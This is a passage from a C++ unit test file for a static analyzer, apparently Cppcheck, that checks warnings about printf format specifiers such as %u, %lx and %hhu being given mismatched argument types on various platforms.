6) requires 'unsigned short' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %hx in format string (no. 7) requires 'unsigned short' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %hx in format string (no. 8) requires 'unsigned short' but the argument type is 'unsigned long'.\\n\", errout_str());\n\n // #7837 - Use ValueType for function call\n check(\"struct S {\\n\"\n \" double (* f)(double);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct S x) {\\n\"\n \" printf(\\\"%f\\\", x.f(4.0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" printf(\\\"%lu\\\", sizeof(char));\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'size_t {aka unsigned long long}'.\\n\",\n errout_str());\n }\n\n void testPrintfArgumentVariables() {\n TEST_PRINTF_NOWARN(\"%u\", \"unsigned int\", \"bool\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"char\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"signed char\");\n TEST_PRINTF_NOWARN(\"%u\", \"unsigned int\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"signed short\");\n TEST_PRINTF_NOWARN(\"%u\", \"unsigned int\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"signed int\");\n TEST_PRINTF_NOWARN(\"%u\", \"unsigned int\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"signed long\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"signed long long\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"float\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"double\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"long double\");\n TEST_PRINTF_WARN(\"%u\", \"unsigned int\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%u\", \"unsigned int\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_NOWARN(\"%x\", \"unsigned int\", \"bool\");\n //TODO TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"char\");\n //TODO TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"signed char\");\n TEST_PRINTF_NOWARN(\"%x\", \"unsigned int\", \"unsigned char\");\n //TODO TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"signed short\");\n TEST_PRINTF_NOWARN(\"%x\", \"unsigned int\", \"unsigned short\");\n //TODO TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"signed int\");\n TEST_PRINTF_NOWARN(\"%x\", \"unsigned int\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"signed long\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"signed long long\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"float\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"double\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"long double\");\n TEST_PRINTF_WARN(\"%x\", \"unsigned int\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%x\", \"unsigned int\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%x\", \"unsigned int\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"bool\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"char\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"signed char\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"unsigned char\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"signed short\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"unsigned short\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"signed int\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"unsigned int\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"signed long\");\n TEST_PRINTF_NOWARN(\"%lu\",\"unsigned long\",\"unsigned long\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"signed long long\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"unsigned long long\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"float\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"double\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"long double\");\n TEST_PRINTF_WARN(\"%lu\",\"unsigned long\",\"void *\");\n TEST_PRINTF_WARN_AKA(\"%lu\",\"unsigned long\",\"size_t\",\"unsigned long\",\"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%lu\",\"unsigned long\",\"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%lu\",\"unsigned long\",\"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lu\",\"unsigned long\",\"unsigned ptrdiff_t\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%lu\",\"unsigned long\",\"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%lu\",\"unsigned long\",\"uintmax_t\",\"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%lu\",\"unsigned long\",\"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lu\",\"unsigned long\",\"uintptr_t\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::size_t\",\"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lu\",\"unsigned long\",\"std::uintmax_t\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lu\",\"unsigned long\",\"std::uintptr_t\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"bool\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"char\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"signed char\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"unsigned char\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"signed short\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"unsigned short\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"signed int\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"unsigned int\");\n //TODO TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"signed long\");\n TEST_PRINTF_NOWARN(\"%lx\",\"unsigned long\",\"unsigned long\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"signed long long\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"unsigned long long\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"float\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"double\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"long double\");\n TEST_PRINTF_WARN(\"%lx\",\"unsigned long\",\"void *\");\n TEST_PRINTF_WARN_AKA(\"%lx\",\"unsigned long\",\"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lx\",\"unsigned long\",\"ssize_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lx\",\"unsigned long\",\"ptrdiff_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lx\",\"unsigned long\",\"unsigned ptrdiff_t\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lx\",\"unsigned long\",\"intmax_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%lx\",\"unsigned long\",\"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lx\",\"unsigned long\",\"intptr_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN64(\"%lx\",\"unsigned long\",\"uintptr_t\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%lx\",\"unsigned long\",\"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lx\",\"unsigned long\",\"std::ssize_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lx\",\"unsigned long\",\"std::ptrdiff_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lx\",\"unsigned long\",\"std::intmax_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lx\",\"unsigned long\",\"std::uintmax_t\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lx\",\"unsigned long\",\"std::intptr_t\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN64(\"%lx\",\"unsigned long\",\"std::uintptr_t\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"bool\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"char\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"signed char\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"unsigned char\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"signed short\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"unsigned short\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"signed int\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"unsigned int\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"signed long\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"unsigned long\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"signed long long\");\n TEST_PRINTF_NOWARN(\"%llu\",\"unsigned long long\",\"unsigned long long\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"float\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"double\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"long double\");\n TEST_PRINTF_WARN(\"%llu\",\"unsigned long long\",\"void *\");\n TEST_PRINTF_WARN_AKA(\"%llu\",\"unsigned long long\",\"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%llu\",\"unsigned long long\",\"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%llu\",\"unsigned long long\",\"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llu\",\"unsigned long long\",\"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA(\"%llu\",\"unsigned long long\",\"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%llu\",\"unsigned long long\",\"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%llu\",\"unsigned long long\",\"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llu\",\"unsigned long long\",\"uintptr_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llu\",\"unsigned long long\",\"std::uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%llu\",\"unsigned long long\",\"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llu\",\"unsigned long long\",\"std::uintptr_t\", \"unsigned long\");\n\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"bool\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"char\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"signed char\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"unsigned char\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"signed short\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"unsigned short\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"signed int\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"unsigned int\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"signed long\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"unsigned long\");\n //TODO TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"signed long long\");\n TEST_PRINTF_NOWARN(\"%llx\",\"unsigned long long\",\"unsigned long long\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"float\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"double\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"long double\");\n TEST_PRINTF_WARN(\"%llx\",\"unsigned long long\",\"void *\");\n TEST_PRINTF_WARN_AKA(\"%llx\",\"unsigned long long\",\"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llx\",\"unsigned long long\",\"ssize_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llx\",\"unsigned long long\",\"ptrdiff_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llx\",\"unsigned long long\",\"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llx\",\"unsigned long long\",\"intmax_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA(\"%llx\",\"unsigned long long\",\"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llx\",\"unsigned long long\",\"intptr_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%llx\",\"unsigned long long\",\"uintptr_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%llx\",\"unsigned long long\",\"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llx\",\"unsigned long long\",\"std::ssize_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llx\",\"unsigned long long\",\"std::ptrdiff_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llx\",\"unsigned long long\",\"std::intmax_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llx\",\"unsigned long long\",\"std::uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llx\",\"unsigned long long\",\"std::intptr_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%llx\",\"unsigned long long\",\"std::uintptr_t\", \"unsigned long\");\n\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"bool\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"char\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"signed char\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"signed short\");\n TEST_PRINTF_NOWARN(\"%hu\", \"unsigned short\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"signed int\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"signed long\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"signed long long\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"float\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"double\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"long double\");\n TEST_PRINTF_WARN(\"%hu\", \"unsigned short\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%hu\", \"unsigned short\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hu\", \"unsigned short\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hu\", \"unsigned short\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hu\", \"unsigned short\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hu\", \"unsigned short\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hu\", \"unsigned short\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hu\", \"unsigned short\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"bool\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"char\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"signed char\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"signed short\");\n TEST_PRINTF_NOWARN(\"%hx\", \"unsigned short\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"signed int\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"signed long\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"signed long long\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"float\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"double\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"long double\");\n TEST_PRINTF_WARN(\"%hx\", \"unsigned short\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%hx\", \"unsigned short\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hx\", \"unsigned short\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hx\", \"unsigned short\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hx\", \"unsigned short\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hx\", \"unsigned short\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hx\", \"unsigned short\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hx\", \"unsigned short\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"bool\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"char\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"signed char\");\n TEST_PRINTF_NOWARN(\"%hhu\", \"unsigned char\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"signed short\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"signed int\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"signed long\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"signed long long\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"float\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"double\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"long double\");\n TEST_PRINTF_WARN(\"%hhu\", \"unsigned char\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%hhu\", \"unsigned char\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hhu\", \"unsigned char\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hhu\", \"unsigned char\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hhu\", \"unsigned char\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hhu\", \"unsigned char\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hhu\", \"unsigned char\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhu\", \"unsigned char\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"bool\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"char\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"signed char\");\n TEST_PRINTF_NOWARN(\"%hhx\", \"unsigned char\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"signed short\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"signed int\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"signed long\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"signed long long\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"float\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"double\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"long double\");\n TEST_PRINTF_WARN(\"%hhx\", \"unsigned char\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%hhx\", \"unsigned char\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hhx\", \"unsigned char\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hhx\", \"unsigned 